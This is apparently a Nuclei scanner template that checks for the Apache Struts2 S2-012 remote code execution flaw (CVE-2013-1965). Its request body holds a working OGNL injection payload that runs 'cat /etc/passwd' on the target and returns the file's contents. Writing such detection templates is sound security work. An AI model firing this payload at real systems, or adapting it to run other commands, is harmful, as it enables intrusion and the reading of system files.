id: CVE-2013-1965
info:
name: Apache Struts2 S2-012 RCE
author: pikpikcu
severity: critical
description: Apache Struts Showcase App 2.0.0 through 2.3.13, as used in Struts 2 before 2.3.14.3, allows remote attackers to execute arbitrary OGNL code via a crafted parameter name that is not properly handled when invoking a redirect.
reference:
- http://struts.apache.org/development/2.x/docs/s2-012.html
- https://nvd.nist.gov/vuln/detail/CVE-2013-1965
- https://bugzilla.redhat.com/show_bug.cgi?id=967655
remediation: Developers should immediately upgrade to Struts 2.3.14.3 or later.
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:C/I:C/A:C
cve-id: CVE-2013-1965
cwe-id: CWE-94
cvss-score: 9.3
tags: cve,cve2013,apache,rce,struts,ognl
metadata:
max-request: 1
http:
- method: POST
path:
- "{{BaseURL}}/user.action"
headers:
Content-Type: application/x-www-form-urlencoded
body: |
name=%25%7B%23a%3D%28new+java.lang.ProcessBuilder%28new+java.lang.String%5B%5D%7B%22cat%22%2C+%22%2Fetc%2Fpasswd%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3Dnew+char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new+java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
